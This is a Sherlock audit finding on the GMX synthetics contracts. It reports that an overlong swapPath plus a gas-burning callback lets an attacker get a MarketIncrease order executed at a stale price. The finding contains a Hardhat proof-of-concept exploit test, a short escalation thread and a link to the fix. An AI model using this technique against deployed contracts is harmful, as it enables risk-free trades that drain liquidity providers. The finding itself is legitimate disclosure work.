stopthecap - Creating an order of type MarketIncrease opens an attack vector where attacker can execute txs with stale prices by inputting a very extense swapPath

[sherlock-admin]

stopthecap

high

Creating an order of type MarketIncrease opens an attack vector where attacker can execute txs with stale prices by inputting a very extense swapPath

Summary

The vulnerability relies on the create order function:

    function createOrder(
    DataStore dataStore,
    EventEmitter eventEmitter,
    OrderVault orderVault,
    IReferralStorage referralStorage,
    address account,
    BaseOrderUtils.CreateOrderParams memory params
    ) external returns (bytes32) {
    ReferralUtils.setTraderReferralCode(referralStorage, account, params.referralCode);

    uint256 initialCollateralDeltaAmount;

    address wnt = TokenUtils.wnt(dataStore);

    bool shouldRecordSeparateExecutionFeeTransfer = true;

    if (
        params.orderType == Order.OrderType.MarketSwap ||
        params.orderType == Order.OrderType.LimitSwap ||
        params.orderType == Order.OrderType.MarketIncrease ||
        params.orderType == Order.OrderType.LimitIncrease
    ) {
        initialCollateralDeltaAmount = orderVault.recordTransferIn(params.addresses.initialCollateralToken);
        if (params.addresses.initialCollateralToken == wnt) {
            if (initialCollateralDeltaAmount < params.numbers.executionFee) {
                revert InsufficientWntAmountForExecutionFee(initialCollateralDeltaAmount, params.numbers.executionFee);
            }
            initialCollateralDeltaAmount -= params.numbers.executionFee;
            shouldRecordSeparateExecutionFeeTransfer = false;
        }
    } else if (
        params.orderType == Order.OrderType.MarketDecrease ||
        params.orderType == Order.OrderType.LimitDecrease ||
        params.orderType == Order.OrderType.StopLossDecrease
    ) {
        initialCollateralDeltaAmount = params.numbers.initialCollateralDeltaAmount;
    } else {
        revert OrderTypeCannotBeCreated(params.orderType);
    }

    if (shouldRecordSeparateExecutionFeeTransfer) {
        uint256 wntAmount = orderVault.recordTransferIn(wnt);
        if (wntAmount < params.numbers.executionFee) {
            revert InsufficientWntAmountForExecutionFee(wntAmount, params.numbers.executionFee);
        }

        GasUtils.handleExcessExecutionFee(
            dataStore,
            orderVault,
            wntAmount,
            params.numbers.executionFee
        );
    }

    // validate swap path markets
    MarketUtils.getEnabledMarkets(
        dataStore,
        params.addresses.swapPath
    );

    Order.Props memory order;

    order.setAccount(account);
    order.setReceiver(params.addresses.receiver);
    order.setCallbackContract(params.addresses.callbackContract);
    order.setMarket(params.addresses.market);
    order.setInitialCollateralToken(params.addresses.initialCollateralToken);
    order.setSwapPath(params.addresses.swapPath);
    order.setOrderType(params.orderType);
    order.setDecreasePositionSwapType(params.decreasePositionSwapType);
    order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);
    order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);
    order.setTriggerPrice(params.numbers.triggerPrice);
    order.setAcceptablePrice(params.numbers.acceptablePrice);
    order.setExecutionFee(params.numbers.executionFee);
    order.setCallbackGasLimit(params.numbers.callbackGasLimit);
    order.setMinOutputAmount(params.numbers.minOutputAmount);
    order.setIsLong(params.isLong);
    order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);

    ReceiverUtils.validateReceiver(order.receiver());

    if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {
        revert BaseOrderUtils.EmptyOrder();
    }

    CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());

    uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);
    GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());

    bytes32 key = NonceUtils.getNextKey(dataStore);

    order.touch();
    OrderStoreUtils.set(dataStore, key, order);

    OrderEventUtils.emitOrderCreated(eventEmitter, key, order);

    return key;
}

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/OrderUtils.sol#L69

Specifically, on a marketIncrease OrderType. Executing an order type of marketIncrease opens an attack path where you can execute transactions with stale prices.

Vulnerability Detail

The way to achieve this, is by creating a market increase order and passing a very extensive swapPath in params:

     BaseOrderUtils.CreateOrderParams memory params

    struct CreateOrderParams {
    CreateOrderParamsAddresses addresses;
    CreateOrderParamsNumbers numbers;
    Order.OrderType orderType;
    Order.DecreasePositionSwapType decreasePositionSwapType;
    bool isLong;
    bool shouldUnwrapNativeToken;
    bytes32 referralCode;
   }

       struct CreateOrderParamsAddresses {
    address receiver;
    address callbackContract;
    address market;
    address initialCollateralToken;
    address[] swapPath;     //HEREE   <--------------------------------------------------------
    }

The swap path has to be as long as it gets close to the gasLimit of the block.

After calling marketIncrease close to gasLimit then using the callback contract that you passed as a param in:

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/OrderUtils.sol#L114

an exceeding the block.gasLimit in the callback.

After "x" amount of blocks, change the gasUsage on the fallback, just that the transaction executes at the prior price.

PoC on how to execute the transaction with old pricing:

import { expect } from "chai";
import { mine } from "@nomicfoundation/hardhat-network-helpers";
import { OrderType, getOrderCount, getOrderKeys, createOrder, executeOrder, handleOrder } from "../utils/order";
import { expandDecimals, decimalToFloat } from "../utils/math";
import { deployFixture } from "../utils/fixture";
 import { handleDeposit } from "../utils/deposit";
import { getPositionCount, getAccountPositionCount } from "../utils/position";

describe("Execute transaction with all prices", () => {
let fixture,
user0,
user1,
user2,
reader,
dataStore,
ethUsdMarket,
ethUsdSpotOnlyMarket,
wnt,
usdc,
attackContract,
oracle,
depositVault,
exchangeRouter,
swapHandler,
executionFee;

 beforeEach(async () => {
  fixture = await deployFixture();

    ({ user0, user1, user2 } = fixture.accounts);
   ({
  reader,
  dataStore,
  oracle,
  depositVault,
  ethUsdMarket,
  ethUsdSpotOnlyMarket,
  wnt,
  usdc,
  attackContract,
  exchangeRouter,
  swapHandler,
  } = fixture.contracts);
  ({ executionFee } = fixture.props);

   await handleDeposit(fixture, {
    create: {
    market: ethUsdMarket,
    longTokenAmount: expandDecimals(10000000, 18),
    shortTokenAmount: expandDecimals(10000000 * 5000, 6),
  },
   });
    await handleDeposit(fixture, {
  create: {
    market: ethUsdSpotOnlyMarket,
    longTokenAmount: expandDecimals(10000000, 18),
    shortTokenAmount: expandDecimals(10000000 * 5000, 6),
   },
   });
  });

  it("Old price order execution", async () => {
  const path = [];
 const UsdcBal = expandDecimals(50 * 1000, 6);
 expect(await getOrderCount(dataStore)).eq(0);

   for (let i = 0; i < 63; i++) {
  if (i % 2 == 0) path.push(ethUsdMarket.marketToken);
  else path.push(ethUsdSpotOnlyMarket.marketToken);
   }

    const params = {
    account: attackContract,
     callbackContract: attackContract,
    callbackGasLimit: 1900000,
    market: ethUsdMarket,
     minOutputAmount: 0,
     initialCollateralToken: usdc, // Collateral will get swapped to ETH by the swapPath -- 50k/$5k = 10 ETH Collateral
     initialCollateralDeltaAmount: UsdcBal,
   swapPath: path,
   sizeDeltaUsd: decimalToFloat(200 * 1000), // 4x leverage -- position size is 40 ETH
   acceptablePrice: expandDecimals(5001, 12),
    orderType: OrderType.MarketIncrease,
    isLong: true,
    shouldUnwrapNativeToken: false,
    gasUsageLabel: "createOrder",
     };

  // Create a MarketIncrease order that will run out of gas doing callback
  await createOrder(fixture, params);
  expect(await getOrderCount(dataStore)).eq(1);
  expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);
   expect(await getPositionCount(dataStore)).eq(0);
    expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);

   await expect(executeOrder(fixture)).to.be.reverted;

   await mine(50);

   await attackContract.flipSwitch();

  expect(await getOrderCount(dataStore)).eq(1);

   await executeOrder(fixture, {
  minPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],
  maxPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],
   });

  expect(await getOrderCount(dataStore)).eq(0);
  expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(1);
   expect(await getPositionCount(dataStore)).eq(1);

   await handleOrder(fixture, {
    create: {
    account: attackContract,
    market: ethUsdMarket,
    initialCollateralToken: wnt,
    initialCollateralDeltaAmount: 0,
    sizeDeltaUsd: decimalToFloat(200 * 1000),
    acceptablePrice: 6001,
    orderType: OrderType.MarketDecrease,
    isLong: true,
    gasUsageLabel: "orderHandler.createOrder",
    swapPath: [ethUsdMarket.marketToken],
   },
   execute: {
    minPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],
    maxPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],
    gasUsageLabel: "orderHandler.executeOrder",
  },
  });

 const WNTAfter = await wnt.balanceOf(attackContract.address);
  const UsdcAfter = await usdc.balanceOf(attackContract.address);

   expect(UsdcAfter).to.gt(
  expandDecimals(100 * 1000, 6)
    .mul(999)
    .div(1000)
  );
  expect(UsdcAfter).to.lt(
  expandDecimals(100 * 1000, 6)
    .mul(1001)
    .div(1000)
 );
  expect(WNTAfter).to.eq(0);
 }).timeout(100000);

Impact

The attack would allow to make free trades in terms of risk. You can trade without any risk by conttroling when to execute the transaction

Code Snippet

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/OrderUtils.sol#L50

Tool used

Manual Review

Recommendation

There need to be a way to cap the length of the path to control user input:

uint y = 10; require(swapPath.length < y ,"path too long");

[hack3r-0m]

Escalate for 10 USDC

this should be medium because owner set conservative limit via ESTIMATED_GAS_FEE_MULTIPLIER_FACTOR and completly prevent this.

[sherlock-admin]

Escalate for 10 USDC

this should be medium because owner set conservative limit via ESTIMATED_GAS_FEE_MULTIPLIER_FACTOR and completly prevent this.

You've created a valid escalation for 10 USDC!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[IllIllI000]

This issue is about being able to use the block.gaslimit, not anything having to do with the keeper gas estimation

[hrishibhat]

Escalation rejected

This is a valid issue

[sherlock-admin]

Escalation rejected

This is a valid issue

This issue's escalations have been rejected!

Watsons who escalated this issue will have their escalation amount deducted from their next payout.

[xvi10]

Fix in https://github.com/gmx-io/gmx-synthetics/commit/d4066840f925c43116eed3c2c83ae2e44be39eed#diff-f764a51a3af5d3117eeeff219951425f3ecc8cd15b742bb044afc7c73b03f4aaR2010